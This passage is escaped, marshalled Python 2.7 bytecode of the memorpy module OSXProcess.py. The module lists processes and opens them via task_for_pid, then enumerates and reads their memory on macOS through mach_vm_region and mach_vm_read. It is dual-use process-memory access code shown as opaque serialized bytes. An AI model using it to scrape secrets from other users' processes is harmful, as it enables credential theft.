\x00Z\\\\n\\\\x00d\\\\n\\\\x00d\\\\n\\\\x00d\\\\n\\\\x00d\\\\n\\\\x00d\\\\x06\\\\x00\\\\x84\\\\x04\\\\x00Z\\\\x0b\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0c\\\\x00d\\\\x08\\\\x00d\\\\t\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\r\\\\x00RS(\\\\x0b\\\\x00\\\\x00\\\\x00c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sx\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x00\\\\x00\\\\x83\\\\x02\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01|\\\\x01\\\\x00d\\\\x02\\\\x00k\\\\t\\\\x00r+\\\\x00|\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x04\\\\x00n-\\\\x00|\\\\x02\\\\x00d\\\\x02\\\\x00k\\\\t\\\\x00rL\\\\x00t\\\\x01\\\\x00j\\\\x05\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x04\\\\x00n\\\\x0c\\\\x00t\\\\x06\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00d\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x07\\\\x00d\\\\x02\\\\x00|\\\\x00\\\\x00_\\\\x08\\\\x00|\\\\x00\\\\x00j\\\\t\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01d\\\\x02\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00s@\\\\x00\\\\x00\\\\x00 Create and Open a process object from its pid or from its name s=\\\\x00\\\\x00\\\\x00You need to instanciate process with at least a name or a pidN(\\\\n\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00superR\\\\x15\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__init__t\\\\x04\\\\x00\\\\x00\\\\x00Nonet\\\\x03\\\\x00\\\\x00\\\\x00pidt\\\\r\\\\x00\\\\x00\\\\x00pid_from_namet\\\\n\\\\x00\\\\x00\\\\x00ValueErrort\\\\x04\\\\x00\\\\x00\\\\x00taskt\\\\x06\\\\x00\\\\x00\\\\x00mytaskt\\\\x05\\\\x00\\\\x00\\\\x00_open(\\\\x04\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00selfR\\\\x19\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00namet\\\\x05\\\\x00\\\\x00\\\\x00debug(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\\\x17\\\\x00\\\\x00\\\\x008\\\\x00\\\\x00\\\\x00s\\\\x12\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x13\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x15\\\\x02\\\\x0c\\\\x01\\\\t\\\\x01\\\\t\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\\\x05\\\\x00\\\\x00\\\\x00closeE\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\\\x07\\\\x00\\\\x00\\\\x00__del__H\\\\x00\\\\x00\\\\x00s\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00sz\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x01\\\\x00t\\\\x02\\\\x00j\\\\x03\\\\x00\\\\x83\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x04\\\\x00t\\\\x05\\\\x00j\\\\x06\\\\x00\\\\x83\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x07\\\\x00t\\\\x05\\\\x00j\\\\x08\\\\x00|\\\\x00\\\\x00j\\\\x07\\\\x00t\\\\x02\\\\x00j\\\\t\\\\x00|\\\\x00\\\\x00j\\\\n\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x02\\\\x00j\\\\x0b\\\\x00|\\\\x00\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x03\\\\x00}\\\\x01\\\\x00|\\\\x01\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00rv\\\\x00t\\\\x0c\\\\x00d\\\\x02\\\\x00|\\\\x01\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00d\\\\x00\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x00\\\\x00s(\\\\x00\\\\x00\\\\x00task_for_pid failed with error code : %s(\\\\r\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00Truet\\\\r\\\\x00\\\\x00\\\\x00isProcessOpenR\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x11\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00libct\\\\x0e\\\\x00\\\\x00\\\\x00mach_task_selfR\\\\x1d\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00task_for_pidt\\\\x05\\\\x00\\\\x00\\\\x00c_intR\\\\x19\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00pointerR\\\\x01\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00ret(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\\\x1e\\\\x00\\\\x00\\\\x00K\\\\x00\\\\x00\\\\x00s\\\\x0c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01\\\\x0f\\\\x01\\\\x0f\\\\x010\\\\x01\\\\x0c\\\\x01c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x97\\\\x00\\\\x00\\\\x00g\\\\x00\\\\x00}\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00t\\\\x02\\\\x00\\\\x83\\\\x01\\\\x01}\\\\x01\\\\x00xu\\\\x00|\\\\x01\\\\x00j\\\\x03\\\\x00d\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00D]d\\\\x00}\\\\x02\\\\x00yT\\\\x00|\\\\x02\\\\x00j\\\\x03\\\\x00\\\\x83\\\\x00\\\\x00}\\\\x03\\\\x00t\\\\x04\\\\x00|\\\\x03\\\\x00d\\\\x04\\\\x00\\\\x19\\\\x83\\\\x01\\\\x00}\\\\x04\\\\x00d\\\\x05\\\\x00j\\\\x05\\\\x00|\\\\x03\\\\x00d\\\\x06\\\\x00\\\\x1f\\\\x83\\\\x01\\\\x00}\\\\x05\\\\x00|\\\\x00\\\\x00j\\\\x06\\\\x00i\\\\x02\\\\x00t\\\\x04\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00d\\\\x07\\\\x006|\\\\x05\\\\x00d\\\\x08\\\\x006\\\\x83\\\\x01\\\\x00\\\\x01Wq+\\\\x00\\\\x01\\\\x01\\\\x01q+\\\\x00Xq+\\\\x00W|\\\\x00\\\\x00S(\\\\t\\\\x00\\\\x00\\\\x00Ns\\\\x04\\\\x00\\\\x00\\\\x00ps At\\\\x05\\\\x00\\\\x00\\\\x00shells\\\\x01\\\\x00\\\\x00\\\\x00\\\\ni\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00 i\\\\x04\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00R \\\\x00\\\\x00\\\\x00(\\\\x07\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00subprocesst\\\\x0c\\\\x00\\\\x00\\\\x00check_outputR$\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00splitt\\\\x03\\\\x00\\\\x00\\\\x00intt\\\\x04\\\\x00\\\\x00\\\\x00joint\\\\x06\\\\x00\\\\x00\\\\x00append(\\\\x06\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00processest\\\\x03\\\\x00\\\\x00\\\\x00rest\\\\x04\\\\x00\\\\x00\\\\x00linet\\\\x03\\\\x00\\\\x00\\\\x00tabR\\\\x19\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00exe(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\\\x04\\\\x00\\\\x00\\\\x00listS\\\\x00\\\\x00\\\\x00s\\\\x16\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x06\\\\x01\\\\x15\\\\x01\\\\x16\\\\x01\\\\x03\\\\x01\\\\x0c\\\\x01\\\\x10\\\\x01\\\\x13\\\\x01%\\\\x01\\\\x03\\\\x01\\\\x08\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s3\\\\x00\\\\x00\\\\x00x,\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00D]\\\\x1e\\\\x00}\\\\x01\\\\x00|\\\\x00\\\\x00|\\\\x01\\\\x00d\\\\x01\\\\x00\\\\x19k\\\\x06\\\\x00r\\\\r\\\\x00|\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x19Sq\\\\r\\\\x00Wd\\\\x00\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00NR8\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00R9\\\\x00\\\\x00\\\\x00(\\\\x02\\\\x00\\\\x00\\\\x00R \\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00dic(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\\\x1a\\\\x00\\\\x00\\\\x00b\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x13\\\\x01\\\\x10\\\\x01c\\\\x05\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x00\\\\x00\\\\t\\\\x00\\\\x00\\\\x00c\\\\x00\\\\x00\\\\x00s\\\\x11\\\\x02\\\\x00\\\\x00g\\\\x00\\\\x00}\\\\x05\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x06\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x07\\\\x00t\\\\x00\\\\x00j\\\\x02\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x08\\\\x00t\\\\x00\\\\x00j\\\\x02\\\\x00t\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00}\\\\t\\\\x00t\\\\x04\\\\x00\\\\x83\\\\x00\\\\x00}\\\\n\\\\x00x\\\\xbf\\\\x01t\\\\x05\\\\x00r\\\\x0c\\\\x02t\\\\x06\\\\x00j\\\\x07\\\\x00|\\\\x00\\\\x00j\\\\x08\\\\x00t\\\\x00\\\\x00j\\\\t\\\\x00|\\\\x06\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x00\\\\x00j\\\\t\\\\x00|\\\\x07\\\\x00\\\\x83\\\\x01\\\\x00t\\\\n\\\\x00t\\\\x00\\\\x00j\\\\t\\\\x00|\\\\n\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x00\\\\x00j\\\\t\\\\x00|\\\\t\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x00\\\\x00j\\\\t\\\\x00|\\\\x08\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x07\\\\x00}\\\\x0b\\\\x00|\\\\x0b\\\\x00d\\\\x02\\\\x00k\\\\x02\\\\x00r\\\\xb5\\\\x00Pn\\\\x00\\\\x00|\\\\x0b\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00r\\\\xd4\\\\x00t\\\\x0b\\\\x00d\\\\x03\\\\x00|\\\\x0b\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x01\\\\x00d\\\\x07\\\\x00k\\\\t\\\\x00r\\\\n\\\\x01|\\\\x06\\\\x00j\\\\r\\\\x00|\\\\x01\\\\x00k\\\\x00\\\\x00r\\\\n\\\\x01|\\\\x06\\\\x00\\\\x04j\\\\r\\\\x00|\\\\x07\\\\x00j\\\\r\\\\x007\\\\x02_\\\\r\\\\x00qN\\\\x00q\\\\n\\\\x01n\\\\x00\\\\x00|\\\\x02\\\\x00d\\\\x07\\\\x00k\\\\t\\\\x00r,\\\\x01|\\\\x06\\\\x00j\\\\r\\\\x00|\\\\x02\\\\x00k\\\\x04\\\\x00r,\\\\x01Pq,\\\\x01n\\\\x00\\\\x00|\\\\n\\\\x00j\\\\x0e\\\\x00}\\\\x0c\\\\x00|\\\\x0c\\\\x00t\\\\x0f\\\\x00@rl\\\\x01|\\\\x04\\\\x00rl\\\\x01d\\\\x04\\\\x00|\\\\x04\\\\x00k\\\\x06\\\\x00rl\\\\x01|\\\\x06\\\\x00\\\\x04j\\\\r\\\\x00|\\\\x07\\\\x00j\\\\r\\\\x007\\\\x02_\\\\r\\\\x00qN\\\\x00ql\\\\x01n\\\\x00\\\\x00|\\\\n\\\\x00j\\\\x10\\\\x00r\\\\xa2\\\\x01|\\\\x04\\\\x00r\\\\xa2\\\\x01d\\\\x05\\\\x00|\\\\x04\\\\x00k\\\\x06\\\\x00r\\\\xa2\\\\x01|\\\\x06\\\\x00\\\\x04j\\\\r\\\\x00|\\\\x07\\\\x00j\\\\r\\\\x007\\\\x02_\\\\r\\\\x00qN\\\\x00q\\\\xa2\\\\x01n\\\\x00\\\\x00|\\\\x0c\\\\x00t\\\\x11\\\\x00@r\\\\xf7\\\\x01|\\\\x0c\\\\x00t\\\\x12\\\\x00@s\\\\xe3\\\\x01|\\\\x04\\\\x00r\\\\xe3\\\\x01d\\\\x06\\\\x00|\\\\x04\\\\x00k\\\\x06\\\\x00r\\\\xe3\\\\x01|\\\\x06\\\\x00\\\\x04j\\\\r\\\\x00|\\\\x07\\\\x00j\\\\r\\\\x007\\\\x02_\\\\r\\\\x00qN\\\\x00q\\\\xe3\\\\x01n\\\\x00\\\\x00|\\\\x06\\\\x00j\\\\r\\\\x00|\\\\x07\\\\x00j\\\\r\\\\x00f\\\\x02\\\\x00V\\\\x01n\\\\x00\\\\x00|\\\\x06\\\\x00\\\\x04j\\\\r\\\\x00|\\\\x07\\\\x00j\\\\r\\\\x007\\\\x02_\\\\r\\\\x00qN\\\\x00Wd\\\\x07\\\\x00S(\\\\x08\\\\x00\\\\x00\\\\x00s\\\\xe2\\\\x00\\\\x00\\\\x00\\\\n            optimizations :\\\\n                i for inode==0 (no file mapping)\\\\n                s to avoid scanning shared regions\\\\n                x to avoid scanning x regions\\\\n                r don\\\\\\'t scan ronly regions\\\\n        i\\\\x00\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00s(\\\\x00\\\\x00\\\\x00mach_vm_region failed with error code %st\\\\x01\\\\x00\\\\x00\\\\x00xt\\\\x01\\\\x00\\\\x00\\\\x00st\\\\x01\\\\x00\\\\x00\\\\x00rN(\\\\x13\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00c_ulongR\\\\x11\\\\x00\\\\x00\\\\x00t\\\\x1d\\\\x00\\\\x00\\\\x00VM_REGION_BASIC_INFO_COUNT_64R\\\\x05\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x0e\\\\x00\\\\x00\\\\x00mach_vm_regionR\\\\x1c\\\\x00\\\\x00\\\\x00R*\\\\x00\\\\x00\\\\x00t\\\\x17\\\\x00\\\\x00\\\\x00VM_REGION_BASIC_INFO_64R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00valueR\\\\x06\\\\x00\\\\x00\\\\x00t\\\\x0f\\\\x00\\\\x00\\\\x00VM_PROT_EXECUTER\\\\t\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00VM_PROT_READt\\\\r\\\\x00\\\\x00\\\\x00VM_PROT_WRITE(\\\\r\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00start_offsett\\\\n\\\\x00\\\\x00\\\\x00end_offsett\\\\x06\\\\x00\\\\x00\\\\x00protect\\\\r\\\\x00\\\\x00\\\\x00optimizationst\\\\x04\\\\x00\\\\x00\\\\x00mapst\\\\x07\\\\x00\\\\x00\\\\x00addresst\\\\x07\\\\x00\\\\x00\\\\x00mapsizeR \\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00countt\\\\x04\\\\x00\\\\x00\\\\x00infoR=\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00p(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\\\x0b\\\\x00\\\\x00\\\\x00iter_regioni\\\\x00\\\\x00\\\\x00sL\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x06\\\\x01\\\\x0f\\\\x01\\\\x0f\\\\x01\\\\x0f\\\\x01\\\\x0f\\\\x01\\\\t\\\\x02\\\\t\\\\x01\\\\x18\\\\x01\\\\x0f\\\\x01\\\\x18\\\\x01\\\\x12\\\\x02\\\\x0c\\\\x01\\\\x04\\\\x02\\\\x0c\\\\x01\\\\x13\\\\x01\\\\x0c\\\\x01\\\\x0f\\\\x01\\\\x12\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x0f\\\\x01\\\\x07\\\\x01\\\\t\\\\x01\\\\n\\\\x01\\\\x12\\\\x01\\\\x12\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x12\\\\x01\\\\x12\\\\x01\\\\t\\\\x01\\\\n\\\\x01\\\\n\\\\x01\\\\x12\\\\x01\\\\x12\\\\x01\\\\t\\\\x01\\\\x14\\\\x02c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00t\\\\x01\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Ns\\\\x1c\\\\x00\\\\x00\\\\x00write not implemented on OSX(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x13\\\\x00\\\\x00\\\\x00NotImplementedErrorR$\\\\x00\\\\x00\\\\x00(\\\\x03\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00RK\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00data(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\\\x0b\\\\x00\\\\x00\\\\x00write_bytes\\\\x9d\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0c\\\\x01i\\\\x04\\\\x00\\\\x00\\\\x00c\\\\x03\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xb1\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x03\\\\x00t\\\\x00\\\\x00j\\\\x02\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x04\\\\x00t\\\\x03\\\\x00j\\\\x04\\\\x00|\\\\x00\\\\x00j\\\\x05\\\\x00t\\\\x00\\\\x00j\\\\x06\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x00\\\\x00j\\\\x07\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x00\\\\x00j\\\\x08\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x00\\\\x00j\\\\x08\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x05\\\\x00}\\\\x05\\\\x00|\\\\x05\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00r\\\\x7f\\\\x00t\\\\t\\\\x00d\\\\x02\\\\x00|\\\\x05\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00t\\\\x00\\\\x00j\\\\n\\\\x00|\\\\x03\\\\x00j\\\\x0b\\\\x00|\\\\x04\\\\x00j\\\\x0b\\\\x00\\\\x83\\\\x02\\\\x00}\\\\x06\\\\x00t\\\\x03\\\\x00j\\\\x0c\\\\x00|\\\\x00\\\\x00j\\\\r\\\\x00|\\\\x03\\\\x00|\\\\x04\\\\x00\\\\x83\\\\x03\\\\x00\\\\x01|\\\\x06\\\\x00S(\\\\x03\\\\x00\\\\x00\\\\x00Ni\\\\x00\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00mach_vm_read returned : %s(\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00c_void_pR\\\\x11\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00mach_vm_readR\\\\x1c\\\\x00\\\\x00\\\\x00R\\\\x12\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00c_longlongR*\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00string_atRB\\\\x00\\\\x00\\\\x00t\\\\r\\\\x00\\\\x00\\\\x00vm_deallocateR\\\\x1d\\\\x00\\\\x00\\\\x00(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x1f\\\\x00\\\\x00\\\\x00RK\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00bytest\\\\x05\\\\x00\\\\x00\\\\x00pdatat\\\\x08\\\\x00\\\\x00\\\\x00data_cntR+\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00buf(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyt\\\\n\\\\x00\\\\x00\\\\x00read_bytes\\\\xa1\\\\x00\\\\x00\\\\x00s\\\\x10\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0f\\\\x01\\\\x0f\\\\x02B\\\\x03\\\\x0c\\\\x01\\\\x13\\\\x01\\\\x18\\\\x01\\\\x16\\\\x01N(\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\x0f\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00R#\\\\x00\\\\x00\\\\x00R\\\\x1e\\\\x00\\\\x00\\\\x00t\\\\x0c\\\\x00\\\\x00\\\\x00staticmethodR9\\\\x00\\\\x00\\\\x00R\\\\x1a\\\\x00\\\\x00\\\\x00RP\\\\x00\\\\x00\\\\x00RS\\\\x00\\\\x00\\\\x00R]\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/OSXProcess.pyR\\\\x15\\\\x00\\\\x00\\\\x007\\\\x00\\\\x00\\\\x00s\\\\x12\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\x12\\\\r\\\\t\\\\x03\\\\t\\\\x03\\\\t\\\\x08\\\\x0f\\\\x0f\\\\x0f\\\\x07\\\\x154\\\\t\\\\x04(\\\\x1f\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00copyt\\\\x06\\\\x00\\\\x00\\\\x00structt\\\\x05\\\\x00\\\\x00\\\\x00utilst\\\\x08\\\\x00\\\\x00\\\\x00platformR\\\\x10\\\\x00\\\\x00\\\\x00t\\\\x02\\\\x00\\\\x00\\\\x00ret\\\\x03\\\\x00\\\\x00\\\\x00syst\\\\x0b\\\\x00\\\\x00\\\\x00ctypes.utilt\\\\x05\\\\x00\\\\x00\\\\x00errnot\\\\x02\\\\x00\\\\x00\\\\x00ost\\\\x06\\\\x00\\\\x00\\\\x00signalR\\\\x00\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00t\\\\n\\\\x00\\\\x00\\\\x00structurest\\\\x07\\\\x00\\\\x00\\\\x00loggingR.\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00getLoggert\\\\x06\\\\x00\\\\x00\\\\x00loggert\\\\x04\\\\x00\\\\x00\\\\x00CDLLt\\\\x04\\\\x00\\\\x00\\\\x00utilt\\\\x0c\\\\x00\\\\x00\\\\x00find_libraryR&\\\\x00\\\\x00\\\\x00RA\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00StructureR\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00sizeofR?\\\\x00\\\\x00\\\\x00RD\\\\x00\\\\x00\\\\x00RE\\\\x00\\\\x00\\\\x00RC\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.